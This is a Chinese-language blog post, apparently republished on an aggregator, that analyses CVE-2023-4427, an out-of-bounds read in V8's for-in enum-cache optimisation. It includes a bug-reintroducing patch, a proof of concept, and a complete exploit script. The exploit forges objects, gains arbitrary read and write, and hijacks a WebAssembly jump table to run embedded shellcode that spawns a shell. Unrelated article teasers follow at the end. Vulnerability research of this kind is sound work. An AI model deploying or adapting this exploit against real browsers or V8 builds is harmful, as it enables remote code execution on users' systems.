CVE-2023-4427:Out-of-bounds access in ReduceJSLoadPropertyWithEnumeratedKey

news2024/11/25 20:43:48

文章目录

  • 前言
  • 环境搭建
  • for-in && enum cache
  • 漏洞分析
  • 漏洞利用
  • 总结
  • 参考

前言

之前分析调试漏洞时,几乎都是对着别人的 poc/exp 调试,感觉对自己的提升不是很大,所以后面分析漏洞时尽可能全面分析,从漏洞产生原理、如何稳定触发进行探索。并尝试自己写 poc/exp

环境搭建

git checkout 12.2.149
gclient sync -D
git apply diff.patch
gn gen out/debug --args="symbol_level=2 blink_symbol_level=2 is_debug=true enable_nacl=false dcheck_always_on=false v8_enable_sandbox=false"
ninja -C out/debug d8

diff.patch 如下:

diff --git a/src/objects/map-updater.cc b/src/objects/map-updater.cc
index 7d04b064177..d5f3b169487 100644
--- a/src/objects/map-updater.cc
+++ b/src/objects/map-updater.cc
@@ -1041,13 +1041,6 @@ MapUpdater::State MapUpdater::ConstructNewMap() {
   // the new descriptors to maintain descriptors sharing invariant.
   split_map->ReplaceDescriptors(isolate_, *new_descriptors);
 
-  // If the old descriptors had an enum cache, make sure the new ones do too.
-  if (old_descriptors_->enum_cache()->keys()->length() > 0 &&
-      new_map->NumberOfEnumerableProperties() > 0) {
-    FastKeyAccumulator::InitializeFastPropertyEnumCache(
-        isolate_, new_map, new_map->NumberOfEnumerableProperties());
-  }
-
   if (has_integrity_level_transition_) {
     target_map_ = new_map;
     state_ = kAtIntegrityLevelSource;

for-in && enum cache

最初接触 enum cache 是在 V8 的官方博客 Fast for-in in V8 中,其介绍了 V8 是如何实现快速的 for-in 语句的,详细的内容可以参考上述官方博客。

总的来说 for-in 语句用于遍历对象的可枚举属性(包括原型链),在 V8 中其设计大概如下:

function* EnumerateObjectProperties(obj) {
  const visited = new Set();
  for (const key of Reflect.ownKeys(obj)) {
    if (typeof key === 'symbol') continue;
    const desc = Reflect.getOwnPropertyDescriptor(obj, key);
    if (desc && !visited.has(key)) {
      visited.add(key);
      if (desc.enumerable) yield key;
    }
  }
  const proto = Reflect.getPrototypeOf(obj);
  if (proto === null) return;
  for (const protoKey of EnumerateObjectProperties(proto)) {
    if (!visited.has(protoKey)) yield protoKey;
  }
}

可以看到,其首要的工作就是迭代遍历对象及原型链上的可枚举属性从而收集所有的可枚举 keys。那么 V8 为了优化这一过程,配合 V8 的隐藏类机制提出了 enum cache

我们知道 V8 通过隐藏类或所谓的 Map 来跟踪对象的结构。具有相同 Map 的对象具有相同的结构。此外,每个 Map 都有一个共享数据结构——描述符数组,其中包含有关每个属性的详细信息,例如属性存储在对象上的位置,属性名称以及是否可枚举等属性信息。为了避免反复的访问描述符数组和检测相关属性,V8 将可枚举对象内属性和快属性的 key 和位置 index 保存在了 enum cache
在这里插入图片描述

注:enum cache 保存在描述符数组中,而字典模式是不具有描述符数组的,而对于具有描述符数组的 element 其也默认就是可枚举的,而对于 elements 的键查找是非常简单的。所以这里 enum cache 主要就是针对快属性和对象内属性的

所以如果对象只要快属性或对象内属性,那么在执行 for-in 时,只需要访问一次描述符数组,从描述符数组中拿到 enum cache 即可找到所有的可枚举属性,然后遍历原型链,取原型链的 enum cache(如果有的话)。当然如果对象中还有 elements 呢?这时也会取 enum cache,但是会进行一些其它的操作,大致流程如下:

// For-In Prepare:
FixedArray* keys = nullptr;
Map* original_map = object->map();
if (original_map->HasEnumCache()) {
  if (object->HasNoElements()) {
    keys = original_map->GetCachedEnumKeys();
  } else {
    keys = object->GetCachedEnumKeysWithElements();
  }
} else {
  keys = object->GetEnumKeys();
}

// For-In Body:
for (size_t i = 0; i < keys->length(); i++) {
  // For-In Next:
  String* key = keys[i];
  if (!object->HasProperty(key) continue;
  EVALUATE_FOR_IN_BODY();
}

漏洞分析

对于 for-in 语句,V8 会将其转换成一个循环,其主要使用 3 个关键的操作:ForInEnumerateForInPrepareForInNext,其中 ForInEnumerate/ForInPrepare 主要就是收集对象所有的可枚举属性,然后 ForInNext 用来遍历这些收集的可枚举属性,对于对象属性的访问会调用 JSLoadProperty

在这里插入图片描述
而如果对象存在 enum_cache,则在 InliningPhase 阶段会对 JSLoadProperty 进行优化:
在这里插入图片描述
InliningPhase 存在一个 native_context_specialization 裁剪器:

struct InliningPhase {
......
    AddReducer(data, &graph_reducer, &dead_code_elimination);
    AddReducer(data, &graph_reducer, &checkpoint_elimination);
    AddReducer(data, &graph_reducer, &common_reducer);
    AddReducer(data, &graph_reducer, &native_context_specialization);
    AddReducer(data, &graph_reducer, &context_specialization);
    AddReducer(data, &graph_reducer, &intrinsic_lowering);
    AddReducer(data, &graph_reducer, &call_reducer);
......

该裁剪器会对一些 JS 原生操作进行优化:

Reduction JSNativeContextSpecialization::Reduce(Node* node) {
  switch (node->opcode()) {
    case IrOpcode::kJSAdd:
      return ReduceJSAdd(node);
......
	case IrOpcode::kJSLoadProperty:
      return ReduceJSLoadProperty(node);
    case IrOpcode::kJSSetKeyedProperty:
      return ReduceJSSetKeyedProperty(node);
......
    default:
      break;
  }
  return NoChange();
}

可以看到这里会调用 ReduceJSLoadPropertyJSLoadProperty 节点进行优化:

Reduction JSNativeContextSpecialization::ReduceJSLoadProperty(Node* node) {
  JSLoadPropertyNode n(node);
  PropertyAccess const& p = n.Parameters();
  Node* name = n.key(); // obj[key]
  // 从之前的 IR 图中可以看出,key 是通过 ForInNext 进行遍历的,所以这里就是 JSForInNext 节点
  if (name->opcode() == IrOpcode::kJSForInNext) {
    // 调用 ReduceJSLoadPropertyWithEnumeratedKey 进行优化
    Reduction reduction = ReduceJSLoadPropertyWithEnumeratedKey(node);
    if (reduction.Changed()) return reduction;
  }

  if (!p.feedback().IsValid()) return NoChange();
  Node* value = jsgraph()->Dead();
  return ReducePropertyAccess(node, name, base::nullopt, value,
                              FeedbackSource(p.feedback()), AccessMode::kLoad);
}

对于 for-in 中的属性加载会调用 ReduceJSLoadPropertyWithEnumeratedKey 进行优化:

这里建议读者自己好好看下这个函数中本身的注释,其写的很清楚

Reduction JSNativeContextSpecialization::ReduceJSLoadPropertyWithEnumeratedKey(
    Node* node) {
  // We can optimize a property load if it's being used inside a for..in:
  //   for (name in receiver) {
  //     value = receiver[name];
  //     ...
  //   }
  //
  // If the for..in is in fast-mode, we know that the {receiver} has {name}
  // as own property, otherwise the enumeration wouldn't include it. The graph
  // constructed by the BytecodeGraphBuilder in this case looks like this:

  // receiver
  //  ^    ^
  //  |    |
  //  |    +-+
  //  |      |
  //  |   JSToObject
  //  |      ^
  //  |      |
  //  |      |
  //  |  JSForInNext
  //  |      ^
  //  |      |
  //  +----+ |
  //       | |
  //       | |
  //   JSLoadProperty

  // If the for..in has only seen maps with enum cache consisting of keys
  // and indices so far, we can turn the {JSLoadProperty} into a map check
  // on the {receiver} and then just load the field value dynamically via
  // the {LoadFieldByIndex} operator. The map check is only necessary when
  // TurboFan cannot prove that there is no observable side effect between
  // the {JSForInNext} and the {JSLoadProperty} node.
  //
  // Also note that it's safe to look through the {JSToObject}, since the
  // [[Get]] operation does an implicit ToObject anyway, and these operations
  // are not observable.

  DCHECK_EQ(IrOpcode::kJSLoadProperty, node->opcode());
  Node* receiver = NodeProperties::GetValueInput(node, 0); // obj
  JSForInNextNode name(NodeProperties::GetValueInput(node, 1)); // JsForInNext
  Node* effect = NodeProperties::GetEffectInput(node);
  Node* control = NodeProperties::GetControlInput(node);
  // 存在 EnumCache
  if (name.Parameters().mode() != ForInMode::kUseEnumCacheKeysAndIndices) {
    return NoChange();
  }

  Node* object = name.receiver(); // 理论上是 JSToObject 节点
  Node* cache_type = name.cache_type();
  Node* index = name.index();
  if (object->opcode() == IrOpcode::kJSToObject) {
    object = NodeProperties::GetValueInput(object, 0); // object = receiver
  }
  if (object != receiver) return NoChange();

  // No need to repeat the map check if we can prove that there's no
  // observable side effect between {effect} and {name].
  // 对 map 进行检查
  if (!NodeProperties::NoObservableSideEffectBetween(effect, name)) {
    // Check that the {receiver} map is still valid.
    Node* receiver_map = effect =
        graph()->NewNode(simplified()->LoadField(AccessBuilder::ForMap()),
                         receiver, effect, control);
    Node* check = graph()->NewNode(simplified()->ReferenceEqual(), receiver_map,
                                   cache_type);
    effect =
        graph()->NewNode(simplified()->CheckIf(DeoptimizeReason::kWrongMap),
                         check, effect, control);
  }

  // Load the enum cache indices from the {cache_type}.
  // 后面就不用多说了,descriptor_array => enum_cache => enum_indices 
  Node* descriptor_array = effect = graph()->NewNode(
      simplified()->LoadField(AccessBuilder::ForMapDescriptors()), cache_type,
      effect, control);
  Node* enum_cache = effect = graph()->NewNode(
      simplified()->LoadField(AccessBuilder::ForDescriptorArrayEnumCache()),
      descriptor_array, effect, control);
  Node* enum_indices = effect = graph()->NewNode(
      simplified()->LoadField(AccessBuilder::ForEnumCacheIndices()), enum_cache,
      effect, control);

  // Ensure that the {enum_indices} are valid.
  Node* check = graph()->NewNode(
      simplified()->BooleanNot(),
      graph()->NewNode(simplified()->ReferenceEqual(), enum_indices,
                       jsgraph()->EmptyFixedArrayConstant()));
  effect = graph()->NewNode(
      simplified()->CheckIf(DeoptimizeReason::kWrongEnumIndices), check, effect,
      control);

  // Determine the key from the {enum_indices}.
  Node* key = effect = graph()->NewNode(
      simplified()->LoadElement(
          AccessBuilder::ForFixedArrayElement(PACKED_SMI_ELEMENTS)),
      enum_indices, index, effect, control);

  // Load the actual field value.
  Node* value = effect = graph()->NewNode(simplified()->LoadFieldByIndex(),
                                          receiver, key, effect, control);
  ReplaceWithValue(node, value, effect, control);
  return Replace(value);
}

总的来说对于将 for-in 中的快属性访问,会将 JSLoadProperty 节点优化成 obj map check + LoadFieldByIndex 节点

接下来我们去看下经过 trubofan 优化后的代码的具体执行逻辑:

获取 map
在这里插入图片描述
执行完 Builtins_ForInEnumerate 后,返回值 rax 就是 map 的值:
在这里插入图片描述
获取描述符数组:
在这里插入图片描述
获取 EnumCache
在这里插入图片描述
获取 EnumCache.keys
在这里插入图片描述
获取 map.enum_length
在这里插入图片描述

enum_lengthenum_cachemap 保存在栈上:
在这里插入图片描述

每次执行完 callback 后,都会检测 obj2map 是否被改变,如果被改变,则直接去优化;否则通过保存在栈上的 map 获取描述符数组,从而获取 enum_cache,进而获取 enum_cache.indices,这里会检测 enum_cache.indices 是否为空,如果为空则直接去优化
在这里插入图片描述
但是这里的 enum_length 并没有更新,使用的还是之前保存在栈上的值:
在这里插入图片描述

这里 debug 版本有检测,所以没办法展示,而 release 版本又用不了 job 命令,有点难调试,所以这里得两个对着调(说实话,挺麻烦的,这里其实可以直接在 release 中设置一下的)

poc 如下:

const obj1 = {};
obj1.a = 1;

const obj2 = {};
obj2.a = 1;
obj2.b = 2;

const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;

// init enum cache
for (let i in obj2) {}

function trigger(callback) {
        for (let key in obj2) {
                callback();
                console.log(obj2[key]);
        }
}

%PrepareFunctionForOptimization(trigger);
trigger(_=>_);
trigger(_=>_);
%OptimizeFunctionOnNextCall(trigger);
trigger(_=>_);

trigger(
        _=>{
                obj3.c = 1.1;
                for (let i in obj1) {}
        }
);

调试可以看到,在执行完 callback 后,map->descriptor_array->enum_cache 已经被修改,其中 enum_cache.keys/indices 数组的大小都为 1(这里存在指针压缩,所以要右移一位),但是这里栈中保存的 enum_length 却还是 2

这里是真不知道 map 上的 enum length 的偏移是多少

在这里插入图片描述
POC 输出如下:
在这里插入图片描述
可以看到这里明显存在问题,本来应该输出 2,但是最后却输出为 0,这里简单调试一下。

在经过 callback 后,obj2enum_cache.indices 数组如下:
在这里插入图片描述
上面说了,这里的使用的 enum_length 仍然是栈上保存的 2,所以这里会执行第二次遍历:
在这里插入图片描述
这时取出的 indice0x6a5,跟上面是吻合的,然后这里存在指针压缩,所以还要经过右移处理,这里的 r8 指向的是对象起始地址,r8+0xb 是对象内属性存储的起始位置,r12 是经过右移后的 indice

这里按理说应该是 [r8 + r12*4 + 0xb] 的,但是调试发现该 POC 就是走的这条路径…

在这里插入图片描述
这里可以看下 [r8 + r12*2 + 0xb] 处的值:
在这里插入图片描述
可以看到其值为 0,我们尝试修改一下值为 0xdea4:
在这里插入图片描述
最后输出如下:
在这里插入图片描述
根据输出可以知道,我们之前的分析是对的(这里存在指针压缩,所以要右移一位,说了很多次了,后面就不多说了)

漏洞利用

根据上面的漏洞分析,我们可以知道其存在一个似乎不可控的越界读的漏洞。为啥说似乎不可控呢?通过上面的分析,我们可以知道这里越界读是由 indice 决定的,在上面的例子中就是 enum_cache.indices[1],所以如果想实现精确的越界读,则需要控制 enum_cache.indices[1]。所以接下来我们得去研究下 enum_cache 的内存布局。

调试代码如下:

const obj1 = {};
obj1.a = 1;

const obj2 = {};
obj2.a = 1;
obj2.b = 2;

const obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;

obj3.c = 1.1;
for (let i in obj1) {}

%DebugPrint(obj2);
%SystemBreak();

这里主要关注 obj2enum_cache(其实都一样,毕竟是共享的),其布局如下:
在这里插入图片描述
可以看到这里 enum_cache 是在 old_space 分配的,从源码中也可以得知:

// 可以看到这里默认的分配方式就是 Old space / Lo space
  static Handle<FixedArray> InitializeFastPropertyEnumCache(
      Isolate* isolate, Handle<Map> map, int enum_length,
      AllocationType allocation = AllocationType::kOld);

Handle<FixedArray> FastKeyAccumulator::InitializeFastPropertyEnumCache(
    Isolate* isolate, Handle<Map> map, int enum_length,
    AllocationType allocation) {
......
  Handle<FixedArray> keys = isolate->factory()->NewFixedArray(enum_length, allocation);
......
  if (fields_only) {
    indices = isolate->factory()->NewFixedArray(enum_length, allocation);
......

所以如果我们可以找到一些对象,其部分内容可控并且也使用 AllocationType::kOld 进行分配,其就会紧跟在 enum_cache 后面分配,这时我们调整 obj2 的初始大小即可实现精确越界读。所以问题转换到了如何在 old space 上分配内容可控对象。

笔者做了如下尝试:

  • 最开始本想利用 gc 来实现,但是其也是不可控的,因为你不能保障对象晋升时,目标对象总是与 indices 有固定偏移(测试可以知道,几乎不固定,并且 gc 会打乱之前的堆布局,主要是其它对象可能跑前面去了)
  • 然后笔者想着直接利用 enum_cache.keys/indiceslength 字段去进行控制不就完了,但是测试发现在笔者机器上,当属性个数超出 0x13 时就会切换成字典模式,字典模式是不存在 enum_cache 的(毕竟描述符数组都没了)
  • 最后笔者尝试在 V8 源码中全局搜索 AllocationType::kOld,看看哪些代码逻辑会利用其进行堆分配,但是也没有找到合适的对象

所以为什么我是菜鸡?因为我只会看官方 WP,官方提供了一个 POC,其中提供一个函数可以在紧接着 indices 后面分配内容。

其实我发现了字符串是直接分配在 old_space 上的,但是其始终在 indices 的上方,不知道为啥

但是我思考了一下,其实我们没必要实现精确控制,根据 V8 指针压缩堆分配特性,obj2enum_cachemap 偏移始终是 0x6a5。然后由于只有一个越界读,所以这里直接用固定的 map 去尝试,所以 exp 不具备通用性。

这里固定的 map 其实就是上面说的指针压缩堆分配特性,但是非常不稳定

所以我们尝试写针对特定版本的利用,这里感觉不太好说,所以直接画了一张图:
在这里插入图片描述

理论上 victim_arrayaddr/map/element 偏移都是固定的,所以这里我们可以直接用而无需泄漏,所以我们可以在 victim_array 中伪造一个 Array(其就是 victim_array 本身,这里伪造的 len 可以改大一些),然后在 obj2 后面放置一个 fake_object_array 数组,其内容全是伪造的 Array 的地址偏移(由于指针标记,所以记得地址要加1)

这里在越界读的时候,越界的地址为 obj2_addr + 0xb + 0x6a4,其有很大的概率会落在 fake_object_array_element 中,而其保存的内容为一个地址,所以会对其进行解析,查看指向位置的 map 发现是个对象,所以这里就会返回一个伪造的对象 fake_object。我们可以通过 victim_array 修改 fake_objectelemetlen,修改其 len 可以实现越界读写,修改其 element 可以实现 4GB 内范围的任意地址读写。然后就可以直接劫持函数对象的 code_entry 进行利用

问题:
这种利用方式理论上可行,笔者遇到过两次,但是每次都没有成功完成利用,主要有以下问题:

  • 1、由于 gc 从而导致 victim_arrayaddr/map/element 发生改变
  • 2、测试发现没有触发 gc,但是 victim_array 却发生了重新分配,导致之前的内存被释放,然后写上了无效数据
  • 3、写利用非常麻烦,不知道为啥,只要添加一些代码就会使得 victim_array 每次的 map/element 发生变化(可能是由于代码触发的内存分配,比如 print 也存在着内存的分配)

所以笔者并没有成功完成利用,最后夭折的 exp 如下:

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}


function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}

function set_u64(val) {
        u64[0] = val;
}

function set_l(l) {
        u32[0] = l;
}

function set_h(h) {
        u32[1] = h;
}

function get_u64() {
        return u64[0];
}

function get_f64() {
        return f64[0];
}

function get_fl(val) {
        f64[0] = val;
        return u32[0];
}

function get_fh(val) {
        f64[0] = val;
        return u32[1];
}

function add_ref(obj) {
        roots[index++] = obj;
}

function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                add_ref(new ArrayBuffer(0x200000));
        }
        add_ref(new ArrayBuffer(8));
}

function hexx(str, val) {
        console.log(str+": 0x"+val.toString(16).padStart(16, "0"));
}


function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}


minor_gc();
major_gc();
major_gc();

var victim_array = [3.694396909718e-311, 1.6976101072e-313, 1.1, 1.1];
//%DebugPrint(victim_array);
var float_array = [2.2, 2.2, 2.2, 2.2];
var object_array = [0xdea4n, {}, {}, {}];
var obj1 = {};
obj1.a = 1;
var obj2 = {};
obj2.a = 1;
obj2.b = 2;
var fake_object_array = new Array(200).fill(5.787382781920796e-309);
var obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
// init enum_cache
for (let i in obj2) {}

function trigger(callback) {
        for (let key in obj2) {
                if (key == "b") {
                        callback();
                        let fake_object = obj2[key];
                        return fake_object;
                }
        }
}

for (let i = 0; i < 0x10000; i++) {
        trigger(_=>_);
        trigger(_=>_);
        trigger(_=>_);
        trigger(_=>_);
}


%DebugPrint(victim_array);
var fake_object = trigger(
        _=>
        {
                obj3.c = 3.14;
                for (let key in obj1) {}
        }
);

print(u64_to_f64(0x000006cd00451b8dn));
print(u64_to_f64(0x0000000800042955n));
print(u64_to_f64(0x0004295d0004295dn));
//%DebugPrint(obj2);
//%DebugPrint(fake_object_array);
%DebugPrint(fake_object);
//%SystemBreak();

====================================== 后续 ====================================
后面糊了一个利用脚本,我的环境有沙箱,TypeArray/DataView 不存在未压缩指针,最后劫持的 wasmjump_table_start,然后打的立即数 shellcode

var buf = new ArrayBuffer(8);
var dv  = new DataView(buf);
var u8  = new Uint8Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var roots = new Array(0x30000);
var index = 0;

function pair_u32_to_f64(l, h) {
        u32[0] = l;
        u32[1] = h;
        return f64[0];
}

function u64_to_f64(val) {
        u64[0] = val;
        return f64[0];
}


function f64_to_u64(val) {
        f64[0] = val;
        return u64[0];
}

function set_u64(val) {
        u64[0] = val;
}

function set_l(l) {
        u32[0] = l;
}

function set_h(h) {
        u32[1] = h;
}

function get_u64() {
        return u64[0];
}

function get_f64() {
        return f64[0];
}

function get_fl(val) {
        f64[0] = val;
        return u32[0];
}

function get_fh(val) {
        f64[0] = val;
        return u32[1];
}

function add_ref(obj) {
        roots[index++] = obj;
}

function major_gc() {
        new ArrayBuffer(0x7fe00000);
}

function minor_gc() {
        for (let i = 0; i < 8; i++) {
                add_ref(new ArrayBuffer(0x200000));
        }
        add_ref(new ArrayBuffer(8));
}

function hexx(str, val) {
        console.log(str+": 0x"+val.toString(16).padStart(16, "0"));
}


function sleep(ms) {
        return new Promise((resolve) => setTimeout(resolve, ms));
}


var spray_array = Array(0xf700);
var data_start_addr = 0x00442130;
var map_addr = data_start_addr + 0x1000;
var fake_object_addr = map_addr + 0x1000;
spray_array[(map_addr-data_start_addr) / 8] = pair_u32_to_f64(data_start_addr+0x200, 0x32040404);
spray_array[(map_addr-data_start_addr) / 8 + 1] = u64_to_f64(0x0a0007ff15000842n);
spray_array[(fake_object_addr-data_start_addr) / 8] = pair_u32_to_f64(map_addr+1, 0x6cd);
spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(0x004c2129, 0x20);

var leak_object_array = new Array(0xf700).fill({});
//%DebugPrint(spray_array);
//%SystemBreak();
var obj1 = {};
obj1.a = 1;
var obj2 = {};
obj2.a = 1;
obj2.b = 2;
var fake_object_array = new Array(400).fill(pair_u32_to_f64(fake_object_addr+1, fake_object_addr+1));
var obj3 = {};
obj3.a = 1;
obj3.b = 2;
obj3.c = 3;
// init enum_cache
for (let i in obj2) {}

function trigger(callback) {
        for (let key in obj2) {
                if (key == "b") {
                        callback();
                        let fake_object = obj2[key];
                        return fake_object;
                }
        }
}

for (let i = 0; i < 0x10000; i++) {
        trigger(_=>_);
        trigger(_=>_);
        trigger(_=>_);
        trigger(_=>_);
}

var evil = trigger(
        _=>
        {
                obj3.c = 3.14;
                for (let key in obj1) {}
        }
);

//print(u64_to_f64(0x000006cd00451b8dn));
//print(u64_to_f64(0x0000000800042955n));
//print(u64_to_f64(0x0004295d0004295dn));
//%DebugPrint(obj2);
//%DebugPrint(fake_object_array);
//%DebugPrint(spray_array);
//%DebugPrint(leak_object_array);
//%DebugPrint(evil);


function addressOf(obj) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(0x004c2129, 0x20);
        leak_object_array[0] = obj
        return get_fl(evil[0]);
}

function arb_read_cage(addr) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        return f64_to_u64(evil[0]);
}

function arb_write_half_cage(addr, val) {
        let orig_val = arb_read_cage(addr);
        evil[0] = pair_u32_to_f64(orig_val&0xffffffff, val);
}

function arb_write_full_cage(addr, val) {
        spray_array[(fake_object_addr-data_start_addr) / 8 + 1] = pair_u32_to_f64(addr-8, 0x20);
        evil[0] = u64_to_f64(val);
}

//var test = {a:"a"};
//%DebugPrint(test);
//hexx("test_obj_addr", addressOf(test));


//var raw_buf = new ArrayBuffer(0x200);
//var dv = new DataView(raw_buf);
//dv.setBigInt64(0, 0xdea4n, true);
//let raw_buf_addr = addressOf(raw_buf);
//hexx("raw_buf_addr", raw_buf_addr);

var code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 8, 2, 96, 0, 1, 124, 96, 0, 0, 3, 3, 2, 0, 1, 7, 14, 2, 4, 109, 97, 105, 110, 0, 0, 3, 112, 119, 110, 0, 1, 10, 76, 2, 71, 0, 68, 104, 110, 47, 115, 104, 88, 235, 7, 68, 104, 47, 98, 105, 0, 91, 235, 7, 68, 72, 193, 224, 24, 144, 144, 235, 7, 68, 72, 1, 216, 72, 49, 219, 235, 7, 68, 80, 72, 137, 231, 49, 210, 235, 7, 68, 49, 246, 106, 59, 88, 144, 235, 7, 68, 15, 5, 144, 144, 144, 144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 11]);
var module = new WebAssembly.Module(code);
var instance = new WebAssembly.Instance(module, {});
var wmain = instance.exports.main;
for (let j = 0x0; j < 10000; j++) {
        wmain();
}

let instance_addr = addressOf(instance);
hexx("instance_addr", instance_addr);
let jump_table_addr = instance_addr + 0x48;

let rwx_addr = arb_read_cage(jump_table_addr);
hexx("rwx_addr", rwx_addr);

arb_write_full_cage(jump_table_addr, rwx_addr+0x81an-5n);
var pwn = instance.exports.pwn;
pwn();
//%DebugPrint(instance);
//%SystemBreak();

效果如下:
在这里插入图片描述

总结

这个漏洞笔者没有独立写出 poc/exp,但是自己也经过了大量的思考和调试,并不是像之前一样直接拿着 poc 就开始搞。调试分析这个漏洞花了了接近两天的时间,其中漏洞分析花了一天,漏洞利用花了一天,但是最后还是没有成功写出 exp,后面看看针对该类漏洞有没有什么好的利用办法
======== 后续 ========
成功完成利用,nice

参考

原作者对漏洞原理的分析
CVE-2023-4427 PoC : Out of bounds memory access in V8.
强网杯2023Final-D8利用分析——从越界读到任意代码执行(CVE-2023-4427)
Fast for-in in V8

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1563489.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

前端学习<三>CSS进阶——0102-CSS布局样式

前言 css 进阶的主要内容如下。 1、css 非布局样式 html 元素的分类和特性 css 选择器 css 常见属性&#xff08;非布局样式&#xff09; 2、css 布局相关 css 布局属性和组合解析 常见布局方案 三栏布局案例 3、动画和效果 属于 css 中最出彩的内容。 多背景多投影特…

(C)1007 素数对猜想

1007 素数对猜想 问题描述 输入样例&#xff1a; 20 输出样例&#xff1a; 4 解决方案&#xff1a; #include<stdio.h> #include<string.h> #include<math.h> int main(){int n,d;int a[100000];int flag,jishu0;scanf("%d",&n);memset(a,-1,…

HubSpot出海CRM的优势有哪些?

强大的客户关系管理能力&#xff1a;HubSpot出海CRM提供了一套完整的客户关系管理功能&#xff0c;企业可以轻松地记录、整理和分析客户的各种信息&#xff0c;包括基本资料、购买历史、沟通记录等。这使得企业能够更深入地了解客户的需求和偏好&#xff0c;为后续的营销和销售…

持续交付/持续部署流水线介绍(CD)

目录 一、概述 二、典型操作流程 2.1 CI/CD典型操作流 2.2 CI/CD操作流程说明 2.3 总结 三、基于GitHubDocker的持续交付/持续部署流水线&#xff08;公有云&#xff09; 3.1 基于GitHubDocker的持续交付/持续部署操作流程示意图 3.2 GitHubDocker持续交付/持续部署流水…

2023.4.7 机器学习周报

目录 引言 Abstract 文献阅读 1、题目 2、引言 3、过去方案和Motivation 4、Segment Anything模型 5、创新点 6、实验过程 7、实验结果 1、评价绩效 2、检测评价 3、跟踪评价 8、 结论 总结 引言 本周阅读了一篇关于高效的任意分割模型的文献&#xff0c;用于自…

1区、TOP、CCF推荐,最快16天录用!4月刊源表已更新!

毕业推荐 SSCI • 社科类&#xff0c;分区稳步上升&#xff08;最快13天录用&#xff09; IEEE&#xff1a; • 计算机类&#xff0c;1区(TOP)&#xff0c;CCF推荐 SCIE • 计算机工程类&#xff0c;CCF推荐&#xff08;最快16天录用&#xff09; 2024年4月 SCI/SSCI/EI…

环境搭建 | Windows 11系统从0开始搭建SonarQube环境分析C sharp项目代码

1 安装&使用流程 JDK 17环境搭建Sonarqube 10.0安装PostgreSQL 12数据库安装配置MSBuild下载安装SonarScanner for MSBuild使用SonarQube分析C#代码并上传到服务器 注意&#xff1a;SonarQube环境搭建时对各个软件的版本都有要求&#xff0c;如果你不确定使用何版本&…

窥探未来:Web3如何颠覆传统互联网

随着科技的迅速发展&#xff0c;Web3正逐渐成为人们关注的焦点。与传统的Web2相比&#xff0c;Web3代表了一种全新的互联网模式&#xff0c;其潜力和影响力引发了人们对未来的期待和探索。本文将深入探讨Web3如何颠覆传统互联网的各个方面&#xff0c;并展望其可能带来的未来变…

缺省参数

缺省参数 缺省参数概念 缺省参数是声明或定义函数时为函数的参数指定一个缺省值。在调用该函数时&#xff0c;如果没有指定实 参则采用该形参的缺省值&#xff0c;否则使用指定的实参。 void Func(int a 0) {cout<<a<<endl; } int main() {Func(); // 没有传…

websocket 局域网 webrtc 一对一 多对多 视频通话 的示例

基本介绍 WebRTC&#xff08;Web Real-Time Communications&#xff09;是一项实时通讯技术&#xff0c;它允许网络应用或者站点&#xff0c;在不借助中间媒介的情况下&#xff0c;建立浏览器之间点对点&#xff08;Peer-to-Peer&#xff09;的连接&#xff0c;实现视频流和&am…

DC-9靶场

一.环境搭建 1.下载地址 靶机下载地址&#xff1a;https://download.vulnhub.com/dc/DC-9.zip 2.虚拟机配置 设置虚拟机为nat&#xff0c;遇到错误点重试和是 开启虚拟机如下图所示 二.开始渗透 1. 信息收集 查找靶机的ip地址 arp-scan -l 发现靶机的ip地址为192.168.11…

计算机网络面试问题(一)

1.在浏览器中输⼊URL并按下回⻋之后会发⽣什么 2.TCP三次握⼿的过程,为什么三次握手 TCP&#xff08;传输控制协议&#xff09;的三次握⼿是建⽴⽹络连接的过程&#xff0c;确保通信双⽅能够正确地进⾏数据传输。 第⼀次握⼿&#xff08;SYN&#xff09;&#xff1a; 客户端&am…

从原理图到PCB全过程(嘉立创)1

1 将已经画好的原理图更新到PCB中&#xff08;点击应用修改&#xff09; 2 一开始PCB是杂乱的&#xff0c;需要回到原理图&#xff0c;框选各个模块&#xff0c;然后按住CtrlShiftX会自动在PCB显示这个部分&#xff0c;然后把各个部分分开 3 PCB画板需要有板框(嘉立创每个月都i…

2024年限时免费:申领一年免费二级域名

免费申领一年域名 onflashdrive.app&#xff0c;现已可转入 CloudFlare 托管&#xff01; #注册账号 1、打开身份生成网站&#xff0c;然后按照图片下面所填写即可 邮箱填写自己的&#xff0c;密码必须包含大写字母 2、选择 New orders 3、点击选择产品–>Domain 4、输入…

GT收发器第六篇_GT channel内部时钟关系

文章目录 一、TX端时钟二、RX端时钟 一、TX端时钟 TX端可分为4个区域&#xff0c;分别为FPGA TX接口、PCS靠FPGA侧、PCS靠PMA侧、PMA&#xff0c;如下图。GTX/GTH发射器包括TXBUFFER和TX相位校准电路&#xff0c;以解决时钟域之间的相位差。TX相位校准电路用于TXBUFFER被旁路时…

【THM】Passive Reconnaissance(被动侦察)-初级渗透测试

